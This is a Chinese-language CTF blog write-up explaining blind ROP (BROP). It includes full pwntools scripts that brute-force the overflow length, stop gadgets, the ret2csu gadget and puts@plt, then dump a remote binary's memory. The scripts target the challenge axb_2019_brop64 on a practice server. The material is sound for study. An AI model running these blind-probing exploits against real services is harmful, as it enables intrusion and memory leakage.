BROP
4

黑盒程序step

  1. 测试溢出长度

  2. 爆破canary

  3. 执行write泄露内存

  4. dump

测试溢出长度

二分法手测或者写脚本

执行write泄露内存

1.寻找控制write寄存器参数的gadgets

rdi和rsi:

万金油ret2csu还在燃烧

.text:00000000004012DB 5D                                                  pop     rbp
.text:00000000004012DC 41 5C                                               pop     r12
.text:00000000004012DE 41 5D                                               pop     r13
.text:00000000004012E0 41 5E                                               pop     r14
.text:00000000004012E2 41 5F                                               pop     r15
.text:00000000004012E4 C3                                                  retn

在pop r14和pop r15隔断机器码,可以分离出2个最有用的gadgets(我开始意识到平时用ROPgadget得到的gadgets似乎就是从这获得的)

0x00000000004012E0 +0x1 5E 41 5F C3           ->pop rsi pop r15 ret                  
0x00000000004012E2 +0x1 5F C3                 ->pop rdi ret

rdx:

运气好的时候不用控制,只要不为 0 即可

执行 strcmp 的时候,rdx 会被设置为将要被比较的字符串的长度,所以我们可以找到 strcmp 函数,从而来控制 rdx

2.怎么寻找gadgets和plt(write和strcmp)

寻找stop gadgets

<aside> 💡

所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。

</aside>

目的是测试当前找到的gadgets是否可用,如果把stop gadegets放在测试gadgets后面,从测试gadgets ret到stop gadgets时就会保持连接,说明该gadgets可用,否则不可用

识别当前gadgets类型

Probe 从0x400000开始寻找可用gadgets

stop stop gadgets的地址

trap 使程序崩溃的地址

  • probe, trap, trap, trap, trap, trap, trap, stop, traps

    • 我们可以通过这样的布局来找到弹出 6 个栈变量的 gadget,也就是与 brop gadget 相似的 gadget。**这里感觉原文是有问题的,比如说如果遇到了只是 pop 一个栈变量的地址,其实也是不会崩溃的,,**这里一般来说会遇到两处比较有意思的地方

      • plt 处不会崩,,

      • _start 处不会崩,相当于程序重新执行。

之所以要在每个布局的后面都放上 trap,是为了能够识别出,当我们的 probe 处对应的地址执行的指令跳过了 stop,程序立马崩溃的行为。

寻找 PLT

每一个 plt 表项都是 16 字节

此外,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表

通过strcmp 控制rdx(可选)

没实现过还不好理解先略去

以axb_2019_brop64实战

Exp:(只有dump的过程)

from pwn import *
###216
def getbufferflow_length():
        i= 1
        while 1:
            try:
                sh= remote("node4.anna.nssctf.cn",27260)
                sh.recvuntil(b"Please tell me:")
                sh.send(i*b'A')
                time.sleep(0.1)
                output= sh.recv()
                sh.close()
                if b"Goodbye!" not in output: 
                    return i-1
                else:
                    i+= 1
                
            except EOFError:
                sh.close()
                return i-1

#pass  0x4007d7
def getStopGadgets():
    addr= 0x4007d0
    length= 216
    #addr= 0x400500
    while 1:
        try :
            sh= remote("node4.anna.nssctf.cn",26185)
            sh.recvuntil(b"Please tell me:")
            payload= b"A"*length+p64(addr) 
            sh.send(payload)
            time.sleep(0.1)
            content= sh.recv()
            sh.close()
            #print ('one success addr: 0x%x' % (addr))
            if b'Hello' in content:
                print ('one success addr: 0x%x' % (addr))
                return addr
            print ('now addr: 0x%x' % (addr))
            addr+= 1
        except EOFError:
            addr+= 1
            sh.close()

def get_brop_gadget(length,stop_gadget,addr):  
        sh= remote("node4.anna.nssctf.cn",26185)
        sh.recvuntil(b"Please tell me:")
        payload= b'A'*length+p64(addr)+p64(0)*6+ p64(stop_gadget)+p64(0)*10   #
        sh.sendline(payload)
        time.sleep(0.1)
        content= sh.recv()
        sh.close()
        if not b'Hello' in content:
            return False
        return True

def check_brop_gadget(length,addr):
        sh= remote("node4.anna.nssctf.cn",26185)
        sh.recvuntil(b"Please tell me:")
        payload= length*b"A"+ p64(addr)+b'A'*8*10
        sh.sendline(payload)
        time.sleep(0.1)
        content= sh.recv()
        sh.close()
        if not b'Hello' in content:
            return True
        else :
            return False
    

###pass          0x4006e0 ->start
# 0x4007ee ->main
def auto_get_brop_gadget():
    addr= 0x4007ef
    while 1:
        print(hex(addr))
        if get_brop_gadget(216,0x4007d6,addr):
            print("possible brop gadget: 0x%x"% addr)
           
            if check_brop_gadget(216,addr):
                print("success brop gadget: 0x%x"%addr)
                break
        addr+= 1

###
def get_pltputs_addr(length,rdi_ret,stop_gadget):
    addr= 0x400600
    while 1:
        print(hex(addr))
        sh= remote("node4.anna.nssctf.cn",28061)
        context(log_level='debug')
        sh.recvuntil(b"Please tell me:")
        time.sleep(0.1)
        payload= length*b'a'+ p64(rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
        sh.sendline(payload)
        time.sleep(0.2)
        content= sh.recv()
        print(content)
        if b'\\x7fELF' in content:
            print('find puts@plt addr: 0x%x'%addr)
            sh.close()
            return addr
        
        sh.close()
        addr+= 1

padding=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaac"

def leak(length,rdi_ret,puts_plt,leak_addr,stop_gadget):
    sh= remote("node4.anna.nssctf.cn",28061)
    payload= padding+p64(rdi_ret)+p64(leak_addr)+p64(puts_plt)+b"A"*8*10
    sh.recvuntil(b"Please tell me:")
    sh.sendline(payload)
    time.sleep(0.2)
    content= sh.recv()
    #content= sh.recv()
    ###
    print("this is content")
    print(content)
    ###
    sh.close()
    data= content.split(b'daac', 1)[1][3:]
    data= data[0:-1]
    if data== b"":
        data= b'\\x00'
        
    return data
   
        
addr = 0x400000
result = b""
while addr < 0x400200:
    print(hex(addr))
    data = leak(216, 0x40095a+9, 0x400640, addr, 0x4007d7)
    print(data)
    result += data
    addr += len(data)
    print(len(data))
    
    
with open('code', 'wb') as f:
    f.write(result)

#print(getStopGadgets())
#print(getbufferflow_length()) 216
#print(getStopGadgets())0x4007d7
#auto_get_brop_gadget() #0x40095a
#get_pltputs_addr(216,0x40095a+9,0x4007d7) 0x400635

'''
context(log_level='debug')

sh= remote("node4.anna.nssctf.cn",26185)
sh.recvuntil(b"Please tell me:")
payload= b"A"*216+ p64(0x4007d7) 
sh.send(payload)
sh.interactive()
'''

算是比较传统的brop,老实打就能出。

测溢出值

nc发现很奇怪,发现无论输入多大的内容都不会Eof。说明需要我们从输出中判断是否溢出

def getbufferflow_length():
        i= 1
        while 1:
            try:
                sh= remote("node4.anna.nssctf.cn",27260)
                sh.recvuntil(b"Please tell me:")
                sh.send(i*b'A')
                time.sleep(0.1)                                      #打远程得格外注意等待输出
                output= sh.recv()
                sh.close()
                if b"Goodbye!" not in output: 
                    return i-1
                else:
                    i+= 1
                
            except EOFError:
                sh.close()
                return i-1

测出溢出值216

找stop gadget

#pass  0x4007d7
def getStopGadgets():
    addr= 0x400000
    length= 216
    while 1:
        try :
            sh= remote("node4.anna.nssctf.cn",26185)
            sh.recvuntil(b"Please tell me:")
            payload= b"A"*length+p64(addr) 
            sh.send(payload)
            time.sleep(0.1)
            content= sh.recv()
            sh.close()
            #print ('one success addr: 0x%x' % (addr))
            if b'Hello' in content:
                print ('one success addr: 0x%x' % (addr))
                return addr
            print ('now addr: 0x%x' % (addr))
            addr+= 1
        except EOFError:
            addr+= 1
            sh.close()

首先0x4006e0这是start函数的地址(但是我开了辉眼所以后面的stop gadget用的main函数的,应该都行……)

寻找brop gadget


def get_brop_gadget(length,stop_gadget,addr):  
        sh= remote("node4.anna.nssctf.cn",26185)
        sh.recvuntil(b"Please tell me:")
        payload= b'A'*length+p64(addr)+p64(0)*6+ p64(stop_gadget)+p64(0)*10   #
        sh.sendline(payload)
        time.sleep(0.1)
        content= sh.recv()
        sh.close()
        if not b'Hello' in content:
            return False
        return True

def check_brop_gadget(length,addr):
        sh= remote("node4.anna.nssctf.cn",26185)
        sh.recvuntil(b"Please tell me:")
        payload= length*b"A"+ p64(addr)+b'A'*8*10                             #用A不用p64(0)是为了更精准的判断
        sh.sendline(payload)
        time.sleep(0.1)
        content= sh.recv()
        sh.close()
        if not b'Hello' in content:
            return True
        else :
            return False
    

###pass          0x4006e0 ->start
# 0x4007ee ->main
def auto_get_brop_gadget():
    addr= 0x4007ef
    while 1:
        print(hex(addr))
        if get_brop_gadget(216,0x4007d6,addr):
            print("possible brop gadget: 0x%x"% addr)
           
            if check_brop_gadget(216,addr):
                print("success brop gadget: 0x%x"%addr)
                break
        addr+= 1

首先遇到的是0x4007ee,因为这是main的地址,在后面用的时候你会发现不行,所以继续找到真正的brop gadget

最后就是找puts和leak了

###
def get_pltputs_addr(length,rdi_ret,stop_gadget):
    addr= 0x400600
    while 1:
        print(hex(addr))
        sh= remote("node4.anna.nssctf.cn",28061)
        context(log_level='debug')
        sh.recvuntil(b"Please tell me:")
        time.sleep(0.1)
        payload= length*b'a'+ p64(rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
        sh.sendline(payload)
        time.sleep(0.2)
        content= sh.recv()
        print(content)
        if b'\\x7fELF' in content:
            print('find puts@plt addr: 0x%x'%addr)
            sh.close()
            return addr
        
        sh.close()
        addr+= 1

padding=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaac"

def leak(length,rdi_ret,puts_plt,leak_addr,stop_gadget):
    sh= remote("node4.anna.nssctf.cn",28061)
    payload= padding+p64(rdi_ret)+p64(leak_addr)+p64(puts_plt)+b"A"*8*10
    sh.recvuntil(b"Please tell me:")
    sh.sendline(payload)
    time.sleep(0.2)
    content= sh.recv()
    #content= sh.recv()
    ###
    print("this is content")
    print(content)
    ###
    sh.close()
    data= content.split(b'daac', 1)[1][3:]
    data= data[0:-1]
    if data== b"":
        data= b'\\x00'                                                  #puts的特性,遇到\\x00什么也不输出
        
    return data
  

到这里就可以leak出整个2进制程序了

BROP
http://47.100.250.251:8091/archives/wei-ming-ming-wen-zhang-sV6UyWOC
作者
Administrator
发布于
更新于
许可